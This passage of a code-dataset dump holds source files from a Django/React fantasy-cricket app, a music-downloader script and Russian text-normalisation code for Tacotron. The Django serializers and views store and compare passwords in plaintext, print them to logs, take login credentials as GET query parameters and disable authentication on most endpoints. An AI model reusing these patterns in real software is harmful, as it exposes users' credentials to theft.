getPointsOfPlayers(serializers.ModelSerializer):\n name = serializers.SerializerMethodField()\n class Meta:\n model = PlayerPoints\n fields = ['name','total_points']\n \n def get_name(self, obj):\n return obj.player_id.name\n\nclass getPointsByWeek(serializers.ModelSerializer):\n date = serializers.SerializerMethodField()\n homeTeam = serializers.SerializerMethodField()\n awayTeam = serializers.SerializerMethodField()\n class Meta:\n model = PlayerPoints\n fields = ['date','total_points','homeTeam','awayTeam']\n \n def get_date(self, obj):\n return obj.match_id.match_date\n\n def get_homeTeam(self, obj):\n return obj.match_id.home_team\n\n def get_awayTeam(self, obj):\n return obj.match_id.away_team\n\nclass getCertainLeagueMembersSerializer(serializers.ModelSerializer):\n name = serializers.SerializerMethodField()\n class Meta:\n model = LeagueMembers\n fields = ['name']\n \n def get_name(self, obj):\n return obj.user.name\n \n \nclass getLeaguesOfUser(serializers.ModelSerializer):\n league_name =serializers.SerializerMethodField()\n class Meta:\n model = LeagueMembers\n fields = ['league_name']\n \n def get_league_name(self, obj):\n return obj.league.league_name\n\nclass UserSerializerPost(serializers.Serializer):\n email = serializers.EmailField()\n password = serializers.CharField(max_length=200)\n name = serializers.CharField(max_length=250)\n \n def save(self):\n email = self.validated_data['email']\n password = self.validated_data['password']\n name = self.validated_data['name']\n print(email)\n print(password)\n print(name)\n #signer = Signer()\n #hash_pass = signer.sign(password).split(\":\", 1)\n #get_object_or_404(Users, email=email, password=hash_pass[1])\n newUser = Users(name=name, password=password, email=email)\n print(newUser.email, newUser.password)\n newUser.save()\n return newUser\n \n def validate_password(self, value):\n if len(value) < 8:\n raise serializers.ValidationError(\"password is less than 8 characters long\")\n return value\n\nclass UserSerializerGet(serializers.Serializer):\n email = serializers.EmailField()\n password = serializers.CharField(max_length=200)\n \n def save(self):\n email = self.validated_data['email']\n password = self.validated_data['password']\n print(email)\n print(password)\n #signer = Signer()\n #hash_pass = signer.sign(password).split(\":\", 1)\n #print(hash_pass[1])\n get_object_or_404(Users, email=email, password=password)\n return True\n \n def validate_password(self, value):\n if len(value) < 8:\n raise serializers.ValidationError(\"password is less than 8 characters long\")\n return value"
},
{
"alpha_fraction": 0.6574700474739075,
"alphanum_fraction": 0.6605934500694275,
"avg_line_length": 32.13793182373047,
"blob_id": "5827f6ec445a8e947ae7c281b567e0b6b57697cc",
"content_id": "9bb01d19b95c3ac54e8e9990822040f73f0587b6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 1921,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 58,
"path": "/dream11_frontend/src/App.js",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "import React, { Component } from 'react';\nimport logo from './logo.svg';\nimport './App.css';\n\nimport { BrowserRouter, Route, Link ,Switch } from \"react-router-dom\";\n\n// import Players from \"./Component/Players/index\";\n// import Profile from \"./Component/Players/profile\";\n// import MyTeam from \"./Component/Players/team\";\n// import Dashboard from \"./Component/dashboard/Dashboard\";\n// import Dashboard from \"./Component/dashboard/index\";\nimport Dashboard from \"./Component/nion_ui/DashBoard\";\nimport { connect } from 'react-redux';\nimport * as actions from './store/actions/auth';\nimport SignUp from './Component/nion_ui/AuthLayout/SignUp';\nimport SignIn from './Component/nion_ui/AuthLayout/SignIn';\nimport MainContainer from './Component/nion_ui/MainContainer';\n\n\nclass App extends Component {\n\n componentDidMount() {\n this.props.onTryAutoSignup();\n }\n\n render() {\n return (\n <BrowserRouter>\n <MainContainer>\n <Route path=\"/login/\" exact render={() => (<SignIn {...this.props} />)} />\n <Route path=\"/dashboard/\" render={() => (<Dashboard {...this.props} />)} />\n <Route path=\"/signup/\" exact render={() => (<SignUp {...this.props} />)} />\n {/* <Route path=\"/dream11/core/login/loggedIN/players/:Home_team/:Away_team/:Series_name\" component={Players} />\n <Route path=\"/dream11/core/login/loggedIN/profile/:name/:country/\" component={Profile} />\n <Route path=\"/dream11/core/login/loggedIN/MyTeam/:home/:away/:series/\" component={MyTeam} /> */}\n </MainContainer>\n </BrowserRouter>\n );\n }\n}\n\nconst mapStateToProps = state => {\n return {\n isAuthenticated: state.token !== null,\n username: state.username\n }\n}\n\nconst mapDispatchToProps = dispatch => {\n return {\n onTryAutoSignup: () => dispatch(actions.authCheckState())\n }\n}\n\nexport default connect(mapStateToProps, mapDispatchToProps)(App);\n\n\n// export default App;"
},
{
"alpha_fraction": 0.49926578998565674,
"alphanum_fraction": 0.5447870492935181,
"avg_line_length": 23.321428298950195,
"blob_id": "681a0ae14b4f54870e5fea4546c0f9fbc2628231",
"content_id": "4b01df6a33a0611e33f096ca291fbb6332a352b2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 681,
"license_type": "no_license",
"max_line_length": 51,
"num_lines": 28,
"path": "/create_team/migrations/0003_auto_20190724_0226.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.0.2 on 2019-07-23 20:26\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('create_team', '0002_auto_20190723_1838'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='playerpoints',\n name='fours',\n field=models.FloatField(),\n ),\n migrations.AlterField(\n model_name='playerpoints',\n name='runs',\n field=models.FloatField(),\n ),\n migrations.AlterField(\n model_name='playerpoints',\n name='total_points',\n field=models.FloatField(),\n ),\n ]\n"
},
{
"alpha_fraction": 0.6693350076675415,
"alphanum_fraction": 0.6827981472015381,
"avg_line_length": 40.32706832885742,
"blob_id": "9ab916bc0fbad83aeb4099847a8642a9c11f1ded",
"content_id": "40edcad9efb55d96f24f13bfc08df358ecf9fa47",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 10993,
"license_type": "no_license",
"max_line_length": 342,
"num_lines": 266,
"path": "/api/views.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from user_registration.models import Players, Users\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view,authentication_classes,permission_classes\nfrom .serializers import PlayersSerializer, UsersSerializer, TeamCreatedSerializer, TeamPlayersSerializer, SeriesSquadsSerializer, SeriesListSerializer,MatchesSerializer,UserTeamPointsSerializer, userPointsBymatch, getPointsOfPlayers, getCertainLeagueMembersSerializer, getPointsByWeek, getLeaguesOfUser, UserSerializerGet, UserSerializerPost\nfrom create_team.models import SeriesList,SeriesSquads,TeamCreated,TeamPlayers,Matches,UserTeamPoints, PlayerPoints, Leagues, LeagueMembers\nfrom rest_framework.decorators import parser_classes\nfrom rest_framework.parsers import JSONParser\nfrom django.shortcuts import get_object_or_404, get_list_or_404\nimport json\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([])\n@permission_classes([])\n@parser_classes((JSONParser,))\ndef getPlayers(request):\n if request.method == 'GET':\n playerlist = Players.objects.all()\n serializers = PlayersSerializer(playerlist, many=True)\n return Response(serializers.data)\n\n elif request.method == 'POST':\n serializer = PlayersSerializer(data=request.data)\n xx = serializer.create(validated_data=request.data)\n print(xx.name)\n print(xx.role)\n pp = TeamCreated.objects.get(pk=2)\n player = Players.objects.get(name=xx.name, role=xx.role, country=xx.country, image=xx.image)\n player = TeamPlayers(Team_created=pp, Players=player)\n player.save()\n return Response(status=status.HTTP_200_OK)\n\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([])\n@permission_classes([])\n@parser_classes((JSONParser,))\ndef getTeamCreated(request):\n if request.method == 'GET':\n userlist = TeamCreated.objects.all()\n serializers = TeamCreatedSerializer(userlist, many=True)\n return Response(status=status.HTTP_200_OK, data={\"data\": serializers.data})\n\n elif request.method == 'POST':\n serializer = TeamCreatedSerializer(data=request.data)\n xx = serializer.create(validated_data=request.data)\n return Response(status=status.HTTP_200_OK)\n \n\n@api_view([\"GET\"])\ndef getTeamPlayers(request):\n userlist = TeamPlayers.objects.all()\n serializers = TeamPlayersSerializer(userlist, many=True)\n return Response(status=status.HTTP_200_OK, data={\"data\": serializers.data})\n\n\n@api_view([\"GET\"])\ndef getSeriesList(request):\n userlist = SeriesList.objects.all()\n serializers = SeriesListSerializer(userlist, many=True)\n return Response(status=status.HTTP_200_OK, data={\"data\": serializers.data})\n\n\n@api_view([\"GET\"])\ndef getSeriesSquads(request):\n userlist = SeriesSquads.objects.all()\n serializers = UsersSerializer(userlist, many=True)\n return Response(status=status.HTTP_200_OK, data={\"data\": serializers.data})\n\n@api_view([\"GET\"])\ndef getMatches(request):\n userlist = Matches.objects.all()\n serializers = MatchesSerializer(userlist, many=True)\n return Response(status=status.HTTP_200_OK, data={\"data\": serializers.data})\n\n\n\n''''@api_view([\"POST\"])\ndef postTeamPlayers(request):\n playerlist = request.data\n new = Players(name=playerlist.name, role=playerlist.role, country=playerlist.country, image=playerlist.image)\n new.save();\n return Response(status=status.HTTP_200_OK, data={\"data\": request.data})\n@api_view([\"POST\"])\ndef postTeamCreated(request):\n playerlist = request.data\n new = Players(name=playerlist.name, role=playerlist.role, country=playerlist.country, image=playerlist.image)\n new.save();\n return Response(status=status.HTTP_200_OK, data={\"data\": request.data})'''\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef UserPointsByMatch(request):\n if request.method == 'POST':\n print(request.data)\n hometeam = request.data['hometeam']\n awayteam = request.data['awayteam']\n\n match = get_object_or_404(Matches, home_team=hometeam,away_team=awayteam)\n print(match)\n listi = get_list_or_404(UserTeamPoints,match_id=match)\n print(listi)\n serializer = userPointsBymatch(listi, many=True)\n print(serializer)\n return Response(data={\"data\": serializer.data},status=status.HTTP_200_OK) \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef playerPointByMatch(request):\n if request.method == 'POST':\n print(request.data)\n hometeam = request.data['hometeam']\n awayteam = request.data['awayteam']\n match = get_object_or_404(Matches, home_team=hometeam,away_team=awayteam)\n batsmen = get_list_or_404(Players, role='batsman')\n bowlers = get_list_or_404(Players, role='bowler')\n wicketkeepers = get_list_or_404(Players,role=\"wicketkeeper\")\n allrounders = get_list_or_404(Players,role=\"allrounder\")\n listi = PlayerPoints.objects.filter(player_id__in=batsmen,match_id=match).order_by('-total_points')\n bat = getPointsOfPlayers(listi, many=True)\n listi = PlayerPoints.objects.filter(player_id__in=bowlers,match_id=match).order_by('-total_points')\n bowl = getPointsOfPlayers(listi, many=True)\n listi = PlayerPoints.objects.filter(player_id__in=wicketkeepers,match_id=match).order_by('-total_points')\n wkt = getPointsOfPlayers(listi, many=True)\n listi = PlayerPoints.objects.filter(player_id__in=allrounders,match_id=match).order_by('-total_points')\n allr = getPointsOfPlayers(listi, many=True)\n return Response(data={\"batsmen\": bat.data,\"bowlers\": bowl.data,\"wicketkeepers\":wkt.data,\"allrounder\":allr.data},status=status.HTTP_200_OK) \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n# from asif\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef getPointsOfCertainPlayer(request):\n if request.method == 'POST':\n print(request.data)\n name = request.data['name']\n player = Players.objects.get(name=name)\n listi = get_list_or_404(PlayerPoints,player_id=player.id)\n serializer = getPointsByWeek(listi, many=True)\n print(serializer)\n return Response(data={\"data\": serializer.data},status=status.HTTP_200_OK)\n \n \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef saveLeague(request):\n if request.method == 'POST':\n print(request.data)\n name = request.data['name']\n league_name = request.data['league_name']\n password = request.data['password']\n user = get_object_or_404(Users, name=name)\n newLeague = Leagues(owner=user, league_name=league_name,password=password)\n newLeague.save()\n return Response(status=status.HTTP_200_OK) \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n \n \n# @api_view([\"GET\",\"POST\"])\n# @authentication_classes([ ])\n# @permission_classes([ ])\n# @parser_classes((JSONParser, ))\n# def joinLeague(request):\n# if request.method == 'POST':\n# print(request.data)\n# name = request.data['name']\n# league_name = request.data['league_name']\n# password = request.data['password']\n# user = get_object_or_404(Users, name=name)\n# league = get_object_or_404(Leagues, league_name=league_name,password=password)\n# leagueJoin = LeagueMembers(league=league, user=user)\n# leagueJoin.save()\n# return Response(status=status.HTTP_200_OK) \n# elif request.method == 'GET':\n# return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef joinLeague(request):\n if request.method == 'POST':\n print(request.data)\n name = request.data['name']\n league_name = request.data['league_name']\n password = request.data['password']\n user = get_object_or_404(Users, name=name)\n league = get_object_or_404(Leagues, league_name=league_name,password=password)\n obj = LeagueMembers.objects.filter(league=league, user=user)\n if obj.exists():\n return Response(status=status.HTTP_302_FOUND) \n else:\n leagueJoin = LeagueMembers(league=league, user=user)\n leagueJoin.save()\n return Response(status=status.HTTP_200_OK) \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef LeagueInfo(request):\n if request.method == 'POST':\n print(request.data)\n league_name = request.data['league_name']\n league = get_object_or_404(Leagues, league_name=league_name)\n listi = get_list_or_404(LeagueMembers, league=league)\n serializer = getCertainLeagueMembersSerializer(listi, many=True)\n return Response(data={\"data\": serializer.data},status=status.HTTP_200_OK) \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n \n \n@api_view([\"GET\",\"POST\"])\n@authentication_classes([ ])\n@permission_classes([ ])\n@parser_classes((JSONParser, ))\ndef userLeagues(request):\n if request.method == 'POST':\n print(request.data)\n name = request.data['name']\n user = get_object_or_404(Users, id=name)\n listi = get_list_or_404(LeagueMembers, user=user)\n serializer = getLeaguesOfUser(listi, many=True)\n return Response(data={\"data\": serializer.data},status=status.HTTP_200_OK) \n elif request.method == 'GET':\n return Response(status=status.HTTP_405_METHOD_NOT_ALLOWED)\n\n@api_view([\"GET\",\"POST\"])\n@authentication_classes([])\n@permission_classes([])\ndef getUser(request):\n if request.method == 'GET':\n print(request.query_params)\n serializer = UserSerializerGet(data=request.query_params)\n print(serializer)\n if serializer.is_valid():\n if serializer.save():\n return Response(status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_404_NOT_FOUND)\n\n elif request.method == 'POST':\n serializer = UserSerializerPost(data=request.data)\n print(serializer)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_200_OK)\n return Response(serializer.errors, status=status.HTTP_415_UNSUPPORTED_MEDIA_TYPE)\n"
},
{
"alpha_fraction": 0.5390625,
"alphanum_fraction": 0.5885416865348816,
"avg_line_length": 20.33333396911621,
"blob_id": "31697ee0cf210c093f020df4d0e6fbeabb551c68",
"content_id": "f1e02b8dc58cf650e70bcc7c11b4859abc498cd6",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 384,
"license_type": "no_license",
"max_line_length": 50,
"num_lines": 18,
"path": "/user_registration/migrations/0004_players_credit.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.0.2 on 2019-07-21 13:43\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('user_registration', '0003_players'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='players',\n name='credit',\n field=models.FloatField(default=None),\n ),\n ]\n"
},
{
"alpha_fraction": 0.8432835936546326,
"alphanum_fraction": 0.8432835936546326,
"avg_line_length": 39.29999923706055,
"blob_id": "d671757fa9b17685288bc4faeb97e2c43fada975",
"content_id": "fe98d6172818734fc48048c7c4b333bfe33c8718",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 402,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 10,
"path": "/create_team/admin.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom .models import TeamPlayers, TeamCreated, SeriesSquads, SeriesList, PlayerPoints, UserTeamPoints, Matches\n# Register your models here.\nadmin.site.register(TeamCreated)\nadmin.site.register(TeamPlayers)\nadmin.site.register(SeriesSquads)\nadmin.site.register(SeriesList)\nadmin.site.register(PlayerPoints)\nadmin.site.register(UserTeamPoints)\nadmin.site.register(Matches)"
},
{
"alpha_fraction": 0.5611246824264526,
"alphanum_fraction": 0.6063569784164429,
"avg_line_length": 33.08333206176758,
"blob_id": "67fb42c260ba47ea92d6271130e7bd355f11ccda",
"content_id": "46f9bb36cd1946cf3c2c2e409436959adced8cc8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 818,
"license_type": "no_license",
"max_line_length": 130,
"num_lines": 24,
"path": "/create_team/migrations/0005_privatecontest.py",
"repo_name": "YashvanthD/Dream11-1",
"src_encoding": "UTF-8",
"text": "# Generated by Django 2.0.2 on 2019-07-31 04:01\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('user_registration', '0005_users_contests'),\n ('create_team', '0004_auto_20190724_1053'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='PrivateContest',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('contest_code', models.CharField(max_length=10, unique=True)),\n ('participants', models.TextField()),\n ('contest_creator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='user_registration.Users')),\n ],\n ),\n ]\n"
}
] | 33 |
thugfs/musicDownload | https://github.com/thugfs/musicDownload | 2bacb3cf8b019e9a4d0ff4fa7c01d199d0c9180c | 649e85c3fdb16ba1b952d43379426d3a4abd4749 | 0c3bc8c7bca75d8588e34b2b6269d8b253a587df | refs/heads/master | 2020-05-25T11:44:58.740512 | 2019-05-23T01:09:07 | 2019-05-23T01:09:07 | 187,784,365 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5201054811477661,
"alphanum_fraction": 0.5603164434432983,
"avg_line_length": 23.095237731933594,
"blob_id": "101019479a6b951a116923fbe6c3402a5deb07bd",
"content_id": "0df16c7827cf6c96154ad3249fdcc352373d1aec",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1617,
"license_type": "no_license",
"max_line_length": 136,
"num_lines": 63,
"path": "/musicDownload.py",
"repo_name": "thugfs/musicDownload",
"src_encoding": "UTF-8",
"text": "#!python\n#encoding:utf-8\n\nimport requests\nimport json\nimport urllib\nimport sys\n\ndef Schedule(a,b,c):\n '''\n a:已经下载的数据块\n b:数据块的大小\n c:远程文件的大小\n '''\n per = 100.0 * a * b / c\n if per > 100:\n per = 100\n sys.stdout.write(u'\\r已下载%.2f%%' % per)\n sys.stdout.flush()\n\n\n#title:歌曲名\n#choose:0默认自动下载, 否则自己选择\n#0下载成功, -1下载失败\ndef musicDownload(title, choose=0):\n url = 'https://muc.cheshirex.com/'\n params = {\n 'input': title,\n 'filter': 'name',\n 'type': 'qq',#netease,qq,kugou,kuwo,xiami,baidu.1ting,migu,lizhi,qingting,ximalaya,kg\n 'page': '1'\n }\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest'\n }\n try:\n html = requests.post(url, params, headers=headers)\n res = json.loads(html.text)\n if choose == 0:\n urllib.urlretrieve(res['data'][0]['url'], res['data'][0]['author'] + ' - ' + res['data'][0]['title']+\".mp3\", Schedule)\n print ''\n return 0\n else:\n i = 0\n for tmp in res['data']:\n print i,\n print tmp['title']+' '+tmp['author']\n i = i + 1\n j = input('input the music id:')\n if j >= 0 and j < len(res['data']):\n urllib.urlretrieve(res['data'][j]['url'], res['data'][j]['author'] + ' - ' + res['data'][j]['title']+\".mp3\")\n print ''\n return 0\n else:\n return -1\n except:\n return -1\n\n\nif __name__ == \"__main__\":\n ret = musicDownload('胡广生', 0)\n print ret"
},
{
"alpha_fraction": 0.48148149251937866,
"alphanum_fraction": 0.7777777910232544,
"avg_line_length": 12.5,
"blob_id": "88a00ff8420d4b0382493a10eae682a6ce1881f1",
"content_id": "05ae8011762fb8bb4883749f7eb2914cbdd89708",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 27,
"license_type": "no_license",
"max_line_length": 15,
"num_lines": 2,
"path": "/README.md",
"repo_name": "thugfs/musicDownload",
"src_encoding": "UTF-8",
"text": "# musicDownload\n2019-05-22\n"
}
] | 2 |
antonkoatl/Tacotron-2 | https://github.com/antonkoatl/Tacotron-2 | 4d8d86595fd8fec463a406e3c750fcbfc2b76266 | 2d6d136686b5ccbd5cf9685a58b4418d07968245 | ecccde5bd04f6577d1b48384d704c4aa62738c0c | refs/heads/master | 2022-03-25T10:16:54.154857 | 2019-11-26T07:43:55 | 2019-11-26T07:43:55 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5789576172828674,
"alphanum_fraction": 0.5988678336143494,
"avg_line_length": 34.095890045166016,
"blob_id": "dba92ed78b41172af8e64ea8cd875baa7f4a23c5",
"content_id": "023c7cf1907b13e20c72fa82eecfee1a47564285",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5622,
"license_type": "permissive",
"max_line_length": 155,
"num_lines": 146,
"path": "/tacotron/utils/cleaners.py",
"repo_name": "antonkoatl/Tacotron-2",
"src_encoding": "UTF-8",
"text": "'''\nCleaners are transformations that run over the input text at both training and eval time.\n\nCleaners can be selected by passing a comma-delimited list of cleaner names as the \"cleaners\"\nhyperparameter. Some cleaners are English-specific. You'll typically want to use:\n 1. \"english_cleaners\" for English text\n 2. \"transliteration_cleaners\" for non-English text that can be transliterated to ASCII using\n the Unidecode library (https://pypi.python.org/pypi/Unidecode)\n 3. \"basic_cleaners\" if you do not want to transliterate (in this case, you should also update\n the symbols in symbols.py to match your data).\n'''\n\nimport re\n\nfrom unidecode import unidecode\n\nfrom .numbers import normalize_numbers\nfrom tacotron.utils.num2t4ru import num2text\nfrom .symbols import _stress_vowels, _stress_vowels_inv\n\n# Regular expression matching whitespace:\n_whitespace_re = re.compile(r'\\s+')\n\n# List of (regular expression, replacement) pairs for abbreviations:\n_abbreviations = [(re.compile('\\\\b%s\\\\.' % x[0], re.IGNORECASE), x[1]) for x in [\n ('mrs', 'misess'),\n ('mr', 'mister'),\n ('dr', 'doctor'),\n ('st', 'saint'),\n ('co', 'company'),\n ('jr', 'junior'),\n ('maj', 'major'),\n ('gen', 'general'),\n ('drs', 'doctors'),\n ('rev', 'reverend'),\n ('lt', 'lieutenant'),\n ('hon', 'honorable'),\n ('sgt', 'sergeant'),\n ('capt', 'captain'),\n ('esq', 'esquire'),\n ('ltd', 'limited'),\n ('col', 'colonel'),\n ('ft', 'fort'),\n]]\n\n\ndef expand_abbreviations(text):\n for regex, replacement in _abbreviations:\n text = re.sub(regex, replacement, text)\n return text\n\n\ndef expand_numbers(text):\n return normalize_numbers(text)\n\n\ndef lowercase(text):\n '''lowercase input tokens.\n '''\n return text.lower()\n\n\ndef collapse_whitespace(text):\n return re.sub(_whitespace_re, ' ', text)\n\n\ndef convert_to_ascii(text):\n return unidecode(text)\n\n\ndef basic_cleaners(text):\n '''Basic pipeline that lowercases and collapses whitespace without transliteration.'''\n text = lowercase(text)\n text = collapse_whitespace(text)\n return text\n\n\ndef transliteration_cleaners(text):\n '''Pipeline for non-English text that transliterates to ASCII.'''\n text = convert_to_ascii(text)\n text = lowercase(text)\n text = collapse_whitespace(text)\n return text\n\n\ndef english_cleaners(text):\n '''Pipeline for English text, including number and abbreviation expansion.'''\n text = convert_to_ascii(text)\n # text = lowercase(text)\n text = expand_numbers(text)\n text = expand_abbreviations(text)\n text = collapse_whitespace(text)\n return text\n\np_num = re.compile(r'[0-9]+')\ndef expand_numbers_ru(text):\n text = text.replace('%', ' процент')\n text = text.replace('$', ' доллар')\n shift = 0\n for m in p_num.finditer(text):\n num_text = num2text(int(m.group(0)))\n text = text[:m.start()+shift] + num_text + text[m.end()+shift:]\n shift += len(num_text) + m.start() - m.end()\n return text\n\nfrom russ.stress.model import StressModel\n\nmodel = StressModel.load()\np = re.compile('[а-яё' + ''.join(_stress_vowels) + '-]+')\nstress_fix = {'она': 2, 'семье': 4, 'прямо': 2, 'чудеса': 5, 'если': 0, 'его': 2, 'ужас': 0, 'было': 1, 'дому': 3, 'шаги': 3, 'либо': 1, 'тому': 3,\n 'они': 2, 'мои': 2, 'себе': 3, 'имя': 0, 'тебе': 3, 'после': 1,\n 'дано': 3, 'дела': 3, 'никто': 4, 'тебя': 3, 'зачем': 3, 'сама': 3, 'этот': 0, 'куда': 3, 'весы': 3, 'хуже': 1,\n 'саблин': 1, 'саблину': 1, 'саблиным': 1, 'саблина': 1, 'осипу': 0, 'осипа': 0, 'осипом': 0, 'софья': 1, 'карловна': 1, 'борис': 3, 'яшу': 0,\n 'фомину': 5, 'пухова': 1, 'елен': 2,\n 'что-нибудь': 2, 'кто-нибудь': 2, 'где-нибудь': 2, 'когда-нибудь': 4, 'каким-то': 3, 'кому-то': 3,\n 'новгороде': 1, 'новгород': 1, 'казани': 3,\n 'ежели': 0, 'помощницу': 3, 'площади': 2, 'сторону': 2, 'плохи': 2, 'мести': 1, 'нехотя': 5, 'худобу': 5, 'очереди': 0, 'деньгах': 5,\n 'господь': 4, 'лекарств': 3, 'слева': 2, 'память': 1, 'поздно': 1, 'несколько': 1, 'должна': 5, 'вывозят': 3,\n 'голосом': 1, 'поезде': 1, 'тортийю': 4, 'развит': 1, 'губам': 3, 'наяву': 4, 'крупу': 4, 'пополам': 5, 'труднее': 5,\n 'власти': 2, 'купе': 3, 'мире': 1,\n 'четырнадцать': 3,}\n\n\ndef stress_cleaners(text):\n words = [x for x in p.findall(text) if not 'ё' in x and not any(s in x for s in _stress_vowels)]\n st_dict = model.predict_words_stresses(words)\n\n new_text = ''\n for w in words:\n if w in st_dict and len(st_dict[w]) > 0 and len(w) > 1:\n pos = st_dict[w][0]\n if w in stress_fix:\n pos = stress_fix[w]\n m = re.search(r'([^а-яёА-ЯЁ́]|^)(' + w + r')([^а-яёА-ЯЁ́]|$)', text)\n if m is None:\n print(text, w)\n text = text[:m.start(2)] + w[:pos] + _stress_vowels_inv[w[pos]] + w[pos+1:] + text[m.end(2):]\n #text = text.replace(w, w[:pos] + _stress_vowels_inv[w[pos]] + w[pos+1:])\n\n return text\n\ndef russian_cleaners(text):\n text = basic_cleaners(text)\n text = expand_numbers_ru(text)\n text = stress_cleaners(text)\n return text"
},
{
"alpha_fraction": 0.590062141418457,
"alphanum_fraction": 0.590062141418457,
"avg_line_length": 46,
"blob_id": "c0d579f5cff0ce02c363ab52b86a04a817e08de5",
"content_id": "2f98c0daa269d63d77d73fef7e71bc036fe5ffff",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1213,
"license_type": "permissive",
"max_line_length": 116,
"num_lines": 24,
"path": "/tacotron/utils/symbols.py",
"repo_name": "antonkoatl/Tacotron-2",
"src_encoding": "UTF-8",
"text": "'''\nDefines the set of symbols used in text input to the model.\n\nThe default is a set of ASCII characters that works well for English or text that has been run\nthrough Unidecode. For other data, you can modify _characters. See TRAINING_DATA.md for details.\n'''\nfrom . import cmudict\n\n_pad = '_'\n_eos = '~'\n_punctuation = '!\\'(),.:;?- '\n#_characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!\\'\\\"(),-.:;? '\n_characters_ru = 'абвгдеёжзийклмнопрстуфхцчшщъыьэюя'\n_svowels_ru = ['а́', 'и́', 'у́', 'э́', 'о́', 'ю́', 'я́', 'ы́', 'е́']\n_stress_vowels = {'á': 'а', 'ó': 'о', 'é': 'е', 'ý': 'у',\n 'а́': 'а', 'и́': 'и', 'у́': 'у', 'э́': 'э', 'о́': 'о', 'ю́': 'ю', 'я́': 'я', 'ы́': 'ы', 'е́': 'е'}\n_stress_vowels_inv = {v: k for k, v in _stress_vowels.items()}\n# Prepend \"@\" to ARPAbet symbols to ensure uniqueness (some are the same as uppercase letters):\n#_arpabet = ['@' + s for s in cmudict.valid_symbols]\n\n# Export all symbols:\n# symbols = [_pad, _eos] + list(_characters) #+ _arpabet\nru_symbols = [_pad, _eos] + list(_punctuation) + list(_characters_ru) + _svowels_ru\nsymbols = ru_symbols"
},
{
"alpha_fraction": 0.75,
"alphanum_fraction": 0.784217894077301,
"avg_line_length": 91.32257843017578,
"blob_id": "d742a40217fa25072a052a1a387163d3f2e81e2b",
"content_id": "c90ac0a1e710b02f64334f515ddcf028cfb3ea42",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 3026,
"license_type": "permissive",
"max_line_length": 227,
"num_lines": 31,
"path": "/README.md",
"repo_name": "antonkoatl/Tacotron-2",
"src_encoding": "UTF-8",
